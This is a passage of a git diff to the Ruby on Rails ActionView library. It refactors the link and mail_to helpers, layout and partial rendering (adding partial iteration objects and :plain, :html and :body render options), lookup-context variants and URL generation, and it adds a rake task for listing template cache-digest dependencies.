       #   # => <a href="/accounts/signup">Reply</a>
       def link_to_unless(condition, name, options = {}, html_options = {}, &block)
-        if condition
-          if block_given?
-            block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
-          else
-            ERB::Util.html_escape(name)
-          end
-        else
-          link_to(name, options, html_options)
-        end
+        link_to_if !condition, name, options, html_options, &block
       end
 
       # Creates a link tag of the given +name+ using a URL created by the set of
@@ -408,7 +405,15 @@ module ActionView
       #   # If they are logged in...
       #   # => <a href="/accounts/show/3">my_username</a>
       def link_to_if(condition, name, options = {}, html_options = {}, &block)
-        link_to_unless !condition, name, options, html_options, &block
+        if condition
+          link_to(name, options, html_options)
+        else
+          if block_given?
+            block.arity <= 1 ? capture(name, &block) : capture(name, options, html_options, &block)
+          else
+            ERB::Util.html_escape(name)
+          end
+        end
       end
 
       # Creates a mailto link tag to the specified +email_address+, which is
@@ -423,6 +428,7 @@ module ActionView
       # * <tt>:body</tt> - Preset the body of the email.
       # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
       # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
+      # * <tt>:reply_to</tt> - Preset the Reply-To field of the email.
       #
       # ==== Obfuscation
       # Prior to Rails 4.0, +mail_to+ provided options for encoding the address
@@ -449,20 +455,18 @@ module ActionView
       #          <strong>Email me:</strong> <span>me@domain.com</span>
       #        </a>
       def mail_to(email_address, name = nil, html_options = {}, &block)
-        email_address = ERB::Util.html_escape(email_address)
-
         html_options, name = name, nil if block_given?
         html_options = (html_options || {}).stringify_keys
 
-        extras = %w{ cc bcc body subject }.map { |item|
+        extras = %w{ cc bcc body subject reply_to }.map! { |item|
           option = html_options.delete(item) || next
-          "#{item}=#{Rack::Utils.escape_path(option)}"
+          "#{item.dasherize}=#{Rack::Utils.escape_path(option)}"
         }.compact
-        extras = extras.empty? ? '' : '?' + ERB::Util.html_escape(extras.join('&'))
+        extras = extras.empty? ? '' : '?' + extras.join('&')
 
-        html_options["href"] = "mailto:#{email_address}#{extras}".html_safe
+        html_options["href"] = "mailto:#{email_address}#{extras}"
 
-        content_tag(:a, name || email_address.html_safe, html_options, &block)
+        content_tag(:a, name || email_address, html_options, &block)
       end
 
       # True if the current request URI was generated by the given +options+.
diff --git a/actionview/lib/action_view/layouts.rb b/actionview/lib/action_view/layouts.rb
index d8de1d95df..0b5c0b9991 100644
--- a/actionview/lib/action_view/layouts.rb
+++ b/actionview/lib/action_view/layouts.rb
@@ -221,7 +221,7 @@ module ActionView
       # This module is mixed in if layout conditions are provided. This means
       # that if no layout conditions are used, this method is not used
       module LayoutConditions # :nodoc:
-      private
+        private
 
         # Determines whether the current action has a layout definition by
         # checking the action name against the :only and :except conditions
@@ -262,22 +262,13 @@ module ActionView
       def layout(layout, conditions = {})
         include LayoutConditions unless conditions.empty?
 
-        conditions.each {|k, v| conditions[k] = Array(v).map {|a| a.to_s} }
+        conditions.each {|k, v| conditions[k] = Array(v).map(&:to_s) }
         self._layout_conditions = conditions
 
         self._layout = layout
         _write_layout_method
       end
 
-      # If no layout is supplied, look for a template named the return
-      # value of this method.
-      #
-      # ==== Returns
-      # * <tt>String</tt> - A template name
-      def _implied_layout_name # :nodoc:
-        controller_path
-      end
-
       # Creates a _layout method to be called by _default_layout .
       #
       # If a layout is not explicitly mentioned then look for a layout with the controller's name.
@@ -335,6 +326,17 @@ module ActionView
           private :_layout
         RUBY
       end
+
+      private
+
+      # If no layout is supplied, look for a template named the return
+      # value of this method.
+      #
+      # ==== Returns
+      # * <tt>String</tt> - A template name
+      def _implied_layout_name # :nodoc:
+        controller_path
+      end
     end
 
     def _normalize_options(options) # :nodoc:
@@ -418,7 +420,7 @@ module ActionView
     end
 
     def _include_layout?(options)
-      (options.keys & [:text, :inline, :partial]).empty? || options.key?(:layout)
+      (options.keys & [:body, :text, :plain, :html, :inline, :partial]).empty? || options.key?(:layout)
     end
   end
 end
diff --git a/actionview/lib/action_view/log_subscriber.rb b/actionview/lib/action_view/log_subscriber.rb
index 354a136894..9047dbdd85 100644
--- a/actionview/lib/action_view/log_subscriber.rb
+++ b/actionview/lib/action_view/log_subscriber.rb
@@ -5,14 +5,19 @@ module ActionView
   #
   # Provides functionality so that Rails can output logs from Action View.
   class LogSubscriber < ActiveSupport::LogSubscriber
-    VIEWS_PATTERN = /^app\/views\//.freeze
+    VIEWS_PATTERN = /^app\/views\//
+
+    def initialize
+      @root = nil
+      super
+    end
 
     def render_template(event)
-      return unless logger.info?
-      message = "  Rendered #{from_rails_root(event.payload[:identifier])}"
-      message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
-      message << " (#{event.duration.round(1)}ms)"
-      info(message)
+      info do
+        message = "  Rendered #{from_rails_root(event.payload[:identifier])}"
+        message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout]
+        message << " (#{event.duration.round(1)}ms)"
+      end
     end
     alias :render_partial :render_template
     alias :render_collection :render_template
@@ -23,8 +28,15 @@ module ActionView
 
   protected
 
+    EMPTY = ''
     def from_rails_root(string)
-      string.sub("#{Rails.root}/", "").sub(VIEWS_PATTERN, "")
+      string = string.sub(rails_root, EMPTY)
+      string.sub!(VIEWS_PATTERN, EMPTY)
+      string
+    end
+
+    def rails_root
+      @root ||= "#{Rails.root}/"
     end
   end
 end
diff --git a/actionview/lib/action_view/lookup_context.rb b/actionview/lib/action_view/lookup_context.rb
index f9d5b97fe3..36855ec3d0 100644
--- a/actionview/lib/action_view/lookup_context.rb
+++ b/actionview/lib/action_view/lookup_context.rb
@@ -1,6 +1,7 @@
 require 'thread_safe'
 require 'active_support/core_ext/module/remove_method'
 require 'active_support/core_ext/module/attribute_accessors'
+require 'action_view/template/resolver'
 
 module ActionView
   # = Action View Lookup Context
@@ -52,6 +53,7 @@ module ActionView
       locales
     end
     register_detail(:formats) { ActionView::Base.default_formats || [:html, :text, :js, :css,  :xml, :json] }
+    register_detail(:variants) { [] }
     register_detail(:handlers){ Template::Handlers.extensions }
 
     class DetailsKey #:nodoc:
@@ -62,6 +64,10 @@ module ActionView
       @details_keys = ThreadSafe::Cache.new
 
       def self.get(details)
+        if details[:formats]
+          details = details.dup
+          details[:formats] &= Mime::SET.symbols
+        end
         @details_keys[details] ||= new
       end
 
@@ -105,7 +111,7 @@ module ActionView
     module ViewPaths
       attr_reader :view_paths, :html_fallback_for_js
 
-      # Whenever setting view paths, makes a copy so we can manipulate then in
+      # Whenever setting view paths, makes a copy so that we can manipulate them in
       # instance objects as we wish.
       def view_paths=(paths)
         @view_paths = ActionView::PathSet.new(Array(paths))
@@ -125,7 +131,8 @@ module ActionView
       end
       alias :template_exists? :exists?
 
-      # Add fallbacks to the view paths. Useful in cases you are rendering a :file.
+      # Adds fallbacks to the view paths. Useful in cases when you are rendering
+      # a :file.
       def with_fallbacks
         added_resolvers = 0
         self.class.fallbacks.each do |resolver|
@@ -150,7 +157,14 @@ module ActionView
       def detail_args_for(options)
         return @details, details_key if options.empty? # most common path.
         user_details = @details.merge(options)
-        [user_details, DetailsKey.get(user_details)]
+
+        if @cache
+          details_key = DetailsKey.get(user_details)
+        else
+          details_key = nil
+        end
+
+        [user_details, details_key]
       end
 
       # Support legacy foo.erb names even though we now ignore .erb
@@ -177,7 +191,6 @@ module ActionView
 
     def initialize(view_paths, details = {}, prefixes = [])
       @details, @details_key = {}, nil
-      @skip_default_locale = false
       @cache = true
       @prefixes = prefixes
       @rendered_format = nil
@@ -199,19 +212,13 @@ module ActionView
       super(values)
     end
 
-    # Do not use the default locale on template lookup.
-    def skip_default_locale!
-      @skip_default_locale = true
-      self.locale = nil
-    end
-
     # Override locale to return a symbol instead of array.
     def locale
       @details[:locale].first
     end
 
     # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
-    # to original_config, it means that it's has a copy of the original I18n configuration and it's
+    # to original_config, it means that it has a copy of the original I18n configuration and it's
     # acting as proxy, which we need to skip.
     def locale=(value)
       if value
@@ -219,10 +226,10 @@ module ActionView
         config.locale = value
       end
 
-      super(@skip_default_locale ? I18n.locale : default_locale)
+      super(default_locale)
     end
 
-    # A method which only uses the first format in the formats array for layout lookup.
+    # Uses the first format in the formats array for layout lookup.
     def with_layout_format
       if formats.size == 1
         yield
diff --git a/actionview/lib/action_view/model_naming.rb b/actionview/lib/action_view/model_naming.rb
index e09ebd60df..b6ed13424e 100644
--- a/actionview/lib/action_view/model_naming.rb
+++ b/actionview/lib/action_view/model_naming.rb
@@ -1,12 +1,12 @@
 module ActionView
-  module ModelNaming
+  module ModelNaming #:nodoc:
     # Converts the given object to an ActiveModel compliant one.
     def convert_to_model(object)
       object.respond_to?(:to_model) ? object.to_model : object
     end
 
     def model_name_from_record_or_class(record_or_class)
-      (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
+      convert_to_model(record_or_class).model_name
     end
   end
 end
diff --git a/actionview/lib/action_view/railtie.rb b/actionview/lib/action_view/railtie.rb
index 4113448af0..ee3dce24b7 100644
--- a/actionview/lib/action_view/railtie.rb
+++ b/actionview/lib/action_view/railtie.rb
@@ -36,17 +36,14 @@ module ActionView
       end
     end
 
-    initializer "action_view.setup_action_pack", before: :add_view_paths do |app|
+    initializer "action_view.setup_action_pack" do |app|
       ActiveSupport.on_load(:action_controller) do
-        ActionController::Base.superclass.send(:include, ActionView::Layouts)
-        ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+        ActionView::RoutingUrlFor.include(ActionDispatch::Routing::UrlFor)
       end
     end
 
-    initializer "action_view.setup_action_mailer", before: :add_view_paths do |app|
-      ActiveSupport.on_load(:action_mailer) do
-        ActionMailer::Base.send(:include, ActionView::Layouts)
-      end
+    rake_tasks do
+      load "action_view/tasks/dependencies.rake"
     end
   end
 end
diff --git a/actionview/lib/action_view/record_identifier.rb b/actionview/lib/action_view/record_identifier.rb
index 63f645431a..6c6e69101b 100644
--- a/actionview/lib/action_view/record_identifier.rb
+++ b/actionview/lib/action_view/record_identifier.rb
@@ -2,29 +2,54 @@ require 'active_support/core_ext/module'
 require 'action_view/model_naming'
 
 module ActionView
-  # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or
-  # pretty much any other model type that has an id. These patterns are then used to try elevate the view actions to
-  # a higher logical level.
+  # RecordIdentifier encapsulates methods used by various ActionView helpers
+  # to associate records with DOM elements.
   #
-  #   # routes
-  #   resources :posts
+  # Consider for example the following code that displays the body of a post:
   #
-  #   # view
-  #   <%= div_for(post) do %>    <div id="post_45" class="post">
-  #     <%= post.body %>           What a wonderful world!
-  #   <% end %>                  </div>
+  #   <%= div_for(post) do %>
+  #     <%= post.body %>
+  #   <% end %>
   #
-  #   # controller
-  #   def update
-  #     post = Post.find(params[:id])
-  #     post.update(params[:post])
+  # When +post+ is a new, unsaved ActiveRecord::Base intance, the resulting HTML
+  # is:
   #
-  #     redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post)
-  #   end
+  #    <div id="new_post" class="post">
+  #    </div>
+  #
+  # When +post+ is a persisted ActiveRecord::Base instance, the resulting HTML
+  # is:
+  #
+  #   <div id="post_42" class="post">
+  #     What a wonderful world!
+  #   </div>
+  #
+  # In both cases, the +id+ and +class+ of the wrapping DOM element are
+  # automatically generated, following naming conventions encapsulated by the
+  # RecordIdentifier methods #dom_id and #dom_class:
+  #
+  #   dom_id(Post.new)         # => "new_post"
+  #   dom_class(Post.new)      # => "post"
+  #   dom_id(Post.find 42)     # => "post_42"
+  #   dom_class(Post.find 42)  # => "post"
   #
-  # As the example above shows, you can stop caring to a large extent what the actual id of the post is.
-  # You just know that one is being assigned and that the subsequent calls in redirect_to expect that
-  # same naming convention and allows you to write less code if you follow it.
+  # Note that these methods do not strictly require +Post+ to be a subclass of
+  # ActiveRecord::Base.
+  # Any +Post+ class will work as long as its instances respond to +to_key+
+  # and +model_name+, given that +model_name+ responds to +param_key+.
+  # For instance:
+  #
+  #   class Post
+  #     attr_accessor :to_key
+  #
+  #     def model_name
+  #       OpenStruct.new param_key: 'post'
+  #     end
+  #
+  #     def self.find(id)
+  #       new.tap { |post| post.to_key = [id] }
+  #     end
+  #   end
   module RecordIdentifier
     extend self
     extend ModelNaming
@@ -78,7 +103,7 @@ module ActionView
     # make sure yourself that your dom ids are valid, in case you overwrite this method.
     def record_key_for_dom_id(record)
       key = convert_to_model(record).to_key
-      key ? key.join('_') : key
+      key ? key.join(JOIN) : key
     end
   end
 end
diff --git a/actionview/lib/action_view/renderer/abstract_renderer.rb b/actionview/lib/action_view/renderer/abstract_renderer.rb
index 73c19a0ae2..1f122f9bc6 100644
--- a/actionview/lib/action_view/renderer/abstract_renderer.rb
+++ b/actionview/lib/action_view/renderer/abstract_renderer.rb
@@ -29,8 +29,9 @@ module ActionView
 
     def extract_details(options)
       @lookup_context.registered_details.each_with_object({}) do |key, details|
-        next unless value = options[key]
-        details[key] = Array(value)
+        value = options[key]
+
+        details[key] = Array(value) if value
       end
     end
 
@@ -41,6 +42,7 @@ module ActionView
     def prepend_formats(formats)
       formats = Array(formats)
       return if formats.empty? || @lookup_context.html_fallback_for_js
+
       @lookup_context.formats = formats | @lookup_context.formats
     end
   end
diff --git a/actionview/lib/action_view/renderer/partial_renderer.rb b/actionview/lib/action_view/renderer/partial_renderer.rb
index 821026268a..5ff15411cf 100644
--- a/actionview/lib/action_view/renderer/partial_renderer.rb
+++ b/actionview/lib/action_view/renderer/partial_renderer.rb
@@ -1,6 +1,33 @@
 require 'thread_safe'
 
 module ActionView
+  class PartialIteration
+    # The number of iterations that will be done by the partial.
+    attr_reader :size
+
+    # The current iteration of the partial.
+    attr_reader :index
+
+    def initialize(size)
+      @size  = size
+      @index = 0
+    end
+
+    # Check if this is the first iteration of the partial.
+    def first?
+      index == 0
+    end
+
+    # Check if this is the last iteration of the partial.
+    def last?
+      index == size - 1
+    end
+
+    def iterate! # :nodoc:
+      @index += 1
+    end
+  end
+
   # = Action View Partials
   #
   # There's also a convenience method for rendering sub templates within the current controller that depends on a
@@ -46,7 +73,7 @@ module ActionView
   #
   #   <%= render partial: "account", locals: { user: @buyer } %>
   #
-  # == Rendering a collection of partials
+  # == \Rendering a collection of partials
   #
   # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
   # render a sub template for each of the elements. This pattern has been implemented as a single method that
@@ -56,8 +83,12 @@ module ActionView
   #   <%= render partial: "ad", collection: @advertisements %>
   #
   # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
-  # iteration counter will automatically be made available to the template with a name of the form
-  # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
+  # iteration object will automatically be made available to the template with a name of the form
+  # +partial_name_iteration+. The iteration object has knowledge about which index the current object has in
+  # the collection and the total size of the collection. The iteration object also has two convenience methods,
+  # +first?+ and +last?+. In the case of the example above, the template would be fed +ad_iteration+.
+  # For backwards compatibility the +partial_name_counter+ is still present and is mapped to the iteration's
+  # +index+ method.
   #
   # The <tt>:as</tt> option may be used when rendering partials.
   #
@@ -74,7 +105,7 @@ module ActionView
   # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
   # just keep domain objects, like Active Records, in there.
   #
-  # == Rendering shared partials
+  # == \Rendering shared partials
   #
   # Two controllers can share a set of partials and render them like this:
   #
@@ -82,7 +113,7 @@ module ActionView
   #
   # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
   #
-  # == Rendering objects that respond to `to_partial_path`
+  # == \Rendering objects that respond to `to_partial_path`
   #
   # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
   # and pick the proper path by checking `to_partial_path` method.
@@ -96,7 +127,7 @@ module ActionView
   #  # <%= render partial: "posts/post", collection: @posts %>
   #  <%= render partial: @posts %>
   #
-  # == Rendering the default case
+  # == \Rendering the default case
   #
   # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
   # defaults of render to render partials. Examples:
@@ -116,7 +147,7 @@ module ActionView
   #  # <%= render partial: "posts/post", collection: @posts %>
   #  <%= render @posts %>
   #
-  # == Rendering partials with layouts
+  # == \Rendering partials with layouts
   #
   # Partials can have their own layouts applied to them. These layouts are different than the ones that are
   # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
@@ -159,7 +190,7 @@ module ActionView
   #   </div>
   #
   # If a collection is given, the layout will be rendered once for each item in
-  # the collection. Just think these two snippets have the same output:
+  # the collection. For example, these two snippets have the same output:
   #
   #   <%# app/views/users/_user.html.erb %>
   #   Name: <%= user.name %>
@@ -281,6 +312,8 @@ module ActionView
       end
     end
 
+    private
+
     def render_collection
       return nil if @collection.blank?
 
@@ -322,37 +355,41 @@ module ActionView
     # respond to +to_partial_path+ in order to setup the path.
     def setup(context, options, block)
       @view   = context
-      partial = options[:partial]
-
       @options = options
-      @locals  = options[:locals] || {}
       @block   = block
+
+      @locals  = options[:locals] || {}
       @details = extract_details(options)
 
       prepend_formats(options[:formats])
 
+      partial = options[:partial]
+
       if String === partial
+        @has_object = options.key?(:object)
         @object     = options[:object]
+        @collection = collection_from_options
         @path       = partial
-        @collection = collection
       else
+        @has_object = true
         @object = partial
+        @collection = collection_from_object || collection_from_options
 
-        if @collection = collection_from_object || collection
+        if @collection
           paths = @collection_data = @collection.map { |o| partial_path(o) }
-          @path = paths.uniq.size == 1 ? paths.first : nil
+          @path = paths.uniq.one? ? paths.first : nil
         else
           @path = partial_path
         end
       end
 
       if as = options[:as]
-        raise_invalid_identifier(as) unless as.to_s =~ /\A[a-z_]\w*\z/
+        raise_invalid_option_as(as) unless as.to_s =~ /\A[a-z_]\w*\z/
         as = as.to_sym
       end
 
       if @path
-        @variable, @variable_counter = retrieve_variable(@path, as)
+        @variable, @variable_counter, @variable_iteration = retrieve_variable(@path, as)
         @template_keys = retrieve_template_keys
       else
         paths.map! { |path| retrieve_variable(path, as).unshift(path) }
@@ -361,7 +398,7 @@ module ActionView
       self
     end
 
-    def collection
+    def collection_from_options
       if @options.key?(:collection)
         collection = @options[:collection]
         collection.respond_to?(:to_ary) ? collection.to_ary : []
@@ -373,9 +410,7 @@ module ActionView
     end
 
     def find_partial
-      if path = @path
-        find_template(path, @template_keys)
-      end
+      find_template(@path, @template_keys) if @path
     end
 
     def find_template(path, locals)
@@ -385,19 +420,22 @@ module ActionView
 
     def collection_with_template
       view, locals, template = @view, @locals, @template
-      as, counter = @variable, @variable_counter
+      as, counter, iteration = @variable, @variable_counter, @variable_iteration
 
       if layout = @options[:layout]
         layout = find_template(layout, @template_keys)
       end
 
-      index = -1
+      partial_iteration = PartialIteration.new(@collection.size)
+      locals[iteration] = partial_iteration
+
       @collection.map do |object|
-        locals[as]      = object
-        locals[counter] = (index += 1)
+        locals[as]        = object
+        locals[counter]   = partial_iteration.index
 
         content = template.render(view, locals)
         content = layout.render(view, locals) { content } if layout
+        partial_iteration.iterate!
         content
       end
     end
@@ -407,16 +445,20 @@ module ActionView
       cache = {}
       keys  = @locals.keys
 
-      index = -1
+      partial_iteration = PartialIteration.new(@collection.size)
+
       @collection.map do |object|
-        index += 1
-        path, as, counter = collection_data[index]
+        index = partial_iteration.index
+        path, as, counter, iteration = collection_data[index]
 
-        locals[as]      = object
-        locals[counter] = index
+        locals[as]        = object
+        locals[counter]   = index
+        locals[iteration] = partial_iteration
 
         template = (cache[path] ||= find_template(path, keys + [as, counter]))
-        template.render(view, locals)
+        content = template.render(view, locals)
+        partial_iteration.iterate!
+        content
       end
     end
 
@@ -466,27 +508,40 @@ module ActionView
 
     def retrieve_template_keys
       keys = @locals.keys
-      keys << @variable         if @object || @collection
-      keys << @variable_counter if @collection
+      keys << @variable if @has_object || @collection
+      if @collection
+        keys << @variable_counter
+        keys << @variable_iteration
+      end
       keys
     end
 
     def retrieve_variable(path, as)
       variable = as || begin
         base = path[-1] == "/" ? "" : File.basename(path)
-        raise_invalid_identifier(path) unless base =~ /\A_?([a-z]\w*)(\.\w+)*\z/
+        raise_invalid_identifier(path) unless base =~ /\A_?(.*)(?:\.\w+)*\z/
         $1.to_sym
       end
-      variable_counter = :"#{variable}_counter" if @collection
-      [variable, variable_counter]
+      if @collection
+        variable_counter = :"#{variable}_counter"
+        variable_iteration = :"#{variable}_iteration"
+      end
+      [variable, variable_counter, variable_iteration]
     end
 
     IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " +
-                               "make sure your partial name starts with a lowercase letter or underscore, " +
+                               "make sure your partial name starts with underscore."
+
+    OPTION_AS_ERROR_MESSAGE  = "The value (%s) of the option `as` is not a valid Ruby identifier; " +
+                               "make sure it starts with lowercase letter, " +
                                "and is followed by any combination of letters, numbers and underscores."
 
     def raise_invalid_identifier(path)
       raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
     end
+
+    def raise_invalid_option_as(as)
+      raise ArgumentError.new(OPTION_AS_ERROR_MESSAGE % (as))
+    end
   end
 end
diff --git a/actionview/lib/action_view/renderer/streaming_template_renderer.rb b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
index 9cf6eb0c65..3ab2cd36fc 100644
--- a/actionview/lib/action_view/renderer/streaming_template_renderer.rb
+++ b/actionview/lib/action_view/renderer/streaming_template_renderer.rb
@@ -58,7 +58,7 @@ module ActionView
 
     def delayed_render(buffer, template, layout, view, locals)
       # Wrap the given buffer in the StreamingBuffer and pass it to the
-      # underlying template handler. Now, everytime something is concatenated
+      # underlying template handler. Now, every time something is concatenated
       # to the buffer, it is not appended to an array, but streamed straight
       # to the client.
       output  = ActionView::StreamingBuffer.new(buffer)
diff --git a/actionview/lib/action_view/renderer/template_renderer.rb b/actionview/lib/action_view/renderer/template_renderer.rb
index 668831dff3..cd21d7ab47 100644
--- a/actionview/lib/action_view/renderer/template_renderer.rb
+++ b/actionview/lib/action_view/renderer/template_renderer.rb
@@ -6,23 +6,28 @@ module ActionView
       @view    = context
       @details = extract_details(options)
       template = determine_template(options)
-      context  = @lookup_context
 
       prepend_formats(template.formats)
 
-      unless context.rendered_format
-        context.rendered_format = template.formats.first || formats.first
-      end
+      @lookup_context.rendered_format ||= (template.formats.first || formats.first)
 
       render_template(template, options[:layout], options[:locals])
     end
 
+    private
+
     # Determine the template to be rendered using the given options.
-    def determine_template(options) #:nodoc:
-      keys = options.fetch(:locals, {}).keys
+    def determine_template(options)
+      keys = options.has_key?(:locals) ? options[:locals].keys : []
 
-      if options.key?(:text)
+      if options.key?(:body)
+        Template::Text.new(options[:body])
+      elsif options.key?(:text)
         Template::Text.new(options[:text], formats.first)
+      elsif options.key?(:plain)
+        Template::Text.new(options[:plain])
+      elsif options.key?(:html)
+        Template::HTML.new(options[:html], formats.first)
       elsif options.key?(:file)
         with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
       elsif options.key?(:inline)
@@ -35,7 +40,7 @@ module ActionView
           find_template(options[:template], options[:prefixes], false, keys, @details)
         end
       else
-        raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file or :text option."
+        raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file, :plain, :text or :body option."
       end
     end
 
diff --git a/actionview/lib/action_view/rendering.rb b/actionview/lib/action_view/rendering.rb
index db9c4ef501..1e8e7415d1 100644
--- a/actionview/lib/action_view/rendering.rb
+++ b/actionview/lib/action_view/rendering.rb
@@ -35,12 +35,13 @@ module ActionView
     module ClassMethods
       def view_context_class
         @view_context_class ||= begin
-          routes = respond_to?(:_routes) && _routes
+          supports_path = supports_path?
+          routes  = respond_to?(:_routes)  && _routes
           helpers = respond_to?(:_helpers) && _helpers
 
           Class.new(ActionView::Base) do
             if routes
-              include routes.url_helpers
+              include routes.url_helpers(supports_path)
               include routes.mounted_helpers
             end
 
@@ -62,8 +63,8 @@ module ActionView
     #
     # The view class must have the following methods:
     # View.new[lookup_context, assigns, controller]
-    #   Create a new ActionView instance for a controller
-    # View#render[options]
+    #   Create a new ActionView instance for a controller and we can also pass the arguments.
+    # View#render(option)
     #   Returns String with the rendered template
     #
     # Override this method in a module to change the default behavior.
@@ -77,54 +78,40 @@ module ActionView
       @_view_renderer ||= ActionView::Renderer.new(lookup_context)
     end
 
-    # Render template to response_body
-    # :api: public
-    def render(*args, &block)
-      options = _normalize_render(*args, &block)
-      self.response_body = render_to_body(options)
-    end
-
-    # Raw rendering of a template to a string.
-    # :api: public
-    def render_to_string(*args, &block)
-      options = _normalize_render(*args, &block)
-      render_to_body(options)
-    end
-
-    # Raw rendering of a template.
-    # :api: public
     def render_to_body(options = {})
       _process_options(options)
       _render_template(options)
     end
 
-    # Find and renders a template based on the options given.
-    # :api: private
-    def _render_template(options) #:nodoc:
-      lookup_context.rendered_format = nil if options[:formats]
-      view_renderer.render(view_context, options)
-    end
-
     def rendered_format
       Mime[lookup_context.rendered_format]
     end
 
-    def default_protected_instance_vars
-      super.concat([:@_view_context_class, :@_view_renderer, :@_lookup_context])
-    end
-
     private
 
-      # Normalize args and options.
+      # Find and render a template based on the options given.
       # :api: private
-      def _normalize_render(*args, &block)
-        options = _normalize_args(*args, &block)
-        _normalize_options(options)
-        options
+      def _render_template(options) #:nodoc:
+        variant = options.delete(:variant)
+        assigns = options.delete(:assigns)
+        context = view_context
+
+        context.assign assigns if assigns
+        lookup_context.rendered_format = nil if options[:formats]
+        lookup_context.variants = variant if variant
+
+        view_renderer.render(context, options)
+      end
+
+      # Assign the rendered format to lookup context.
+      def _process_format(format, options = {}) #:nodoc:
+        super
+        lookup_context.formats = [format.to_sym]
+        lookup_context.rendered_format = lookup_context.formats.first
       end
 
       # Normalize args by converting render "foo" to render :action => "foo" and
-      # render "foo/bar" to render :file => "foo/bar".
+      # render "foo/bar" to render :template => "foo/bar".
       # :api: private
       def _normalize_args(action=nil, options={})
         options = super(action, options)
@@ -134,7 +121,7 @@ module ActionView
           options = action
         when String, Symbol
           action = action.to_s
-          key = action.include?(?/) ? :file : :action
+          key = action.include?(?/) ? :template : :action
           options[key] = action
         else
           options[:partial] = action
diff --git a/actionview/lib/action_view/routing_url_for.rb b/actionview/lib/action_view/routing_url_for.rb
index f10e7e88ba..f281333a41 100644
--- a/actionview/lib/action_view/routing_url_for.rb
+++ b/actionview/lib/action_view/routing_url_for.rb
@@ -1,3 +1,5 @@
+require 'action_dispatch/routing/polymorphic_routes'
+
 module ActionView
   module RoutingUrlFor
 
@@ -77,14 +79,39 @@ module ActionView
       case options
       when String
         options
-      when nil, Hash
-        options ||= {}
-        options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
-        super
+      when nil
+        super(only_path: _generate_paths_by_default)
+      when Hash
+        options = options.symbolize_keys
+        unless options.key?(:only_path)
+          if options[:host].nil?
+            options[:only_path] = _generate_paths_by_default
+          else
+            options[:only_path] = false
+          end
+        end
+
+        super(options)
       when :back
         _back_url
+      when Array
+        if _generate_paths_by_default
+          polymorphic_path(options, options.extract_options!)
+        else
+          polymorphic_url(options, options.extract_options!)
+        end
       else
-        polymorphic_path(options)
+        method = _generate_paths_by_default ? :path : :url
+        builder = ActionDispatch::Routing::PolymorphicRoutes::HelperMethodBuilder.send(method)
+
+        case options
+        when Symbol
+          builder.handle_string_call(self, options)
+        when Class
+          builder.handle_class_call(self, options)
+        else
+          builder.handle_model_call(self, options)
+        end
       end
     end
 
diff --git a/actionview/lib/action_view/tasks/dependencies.rake b/actionview/lib/action_view/tasks/dependencies.rake
new file mode 100644
index 0000000000..b39f7d583b
--- /dev/null
+++ b/actionview/lib/action_view/tasks/dependencies.rake
@@ -0,0 +1,21 @@
+namespace :cache_digests do
+  desc 'Lookup nested dependencies for TEMPLATE (like messages/show or comments/_comment.html)'
+  task :nested_dependencies => :environment do
+    abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present?
+    puts JSON.pretty_generate ActionView::Digestor.new(name: template_name, finder: finder).nested_dependencies
+  end
+
+  desc 'Lookup first-level dependencies for TEMPLATE (like messages/show or comments/_comment.html)'
+  task :dependencies => :environment do
+    abort 'You must provide TEMPLATE for the task to run' unless ENV['TEMPLATE'].present?
+    puts JSON.pretty_generate ActionView::Digestor.new(name: template_name, finder: finder).dependencies
+  end
+
+  def template_name
+    ENV['TEMPLATE'].split('.', 2).first
+  end
+
+  def finder
+    ApplicationController.new.lookup_context
+  end
+end
diff --git a/actionview/lib/action_view/template.rb b/actionview/lib/action_view/template.rb
index e2c50fec47..6b61378a1f 100644
--- a/actionview/lib/action_view/template.rb
+++ b/actionview/lib/action_view/template.rb
@@ -90,13 +90,14 @@ module ActionView
     eager_autoload do
       autoload :Error
       autoload :Handlers
+      autoload :HTML
       autoload :Text
       autoload :Types
     end
 
     extend Template::Handlers
 
-    attr_accessor :locals, :formats, :virtual_path
+    attr_accessor :locals, :formats, :variants, :virtual_path
 
     attr_reader :source, :identifier, :handler, :original_encoding, :updated_at
 
@@ -122,6 +123,7 @@ module ActionView
       @virtual_path      = details[:virtual_path]
       @updated_at        = details[:updated_at] || Time.now
       @formats           = Array(format).map { |f| f.respond_to?(:ref) ? f.ref : f  }
+      @variants          = [details[:variant]]
       @compile_mutex     = Mutex.new
     end
 
@@ -142,7 +144,7 @@ module ActionView
         compile!(view)
         view.send(method_name, locals, buffer, &block)
       end
-    rescue Exception => e
+    rescue => e
       handle_render_error(view, e)
     end
 
@@ -240,7 +242,7 @@ module ActionView
           end
 
           instrument("!compile_template") do
-            compile(view, mod)
+            compile(mod)
           end
 
           # Just discard the source if we have a virtual path. This
@@ -262,7 +264,7 @@ module ActionView
       # encode the source into <tt>Encoding.default_internal</tt>.
       # In general, this means that templates will be UTF-8 inside of Rails,
       # regardless of the original source encoding.
-      def compile(view, mod) #:nodoc:
+      def compile(mod) #:nodoc:
         encode!
         method_name = self.method_name
         code = @handler.call(self)
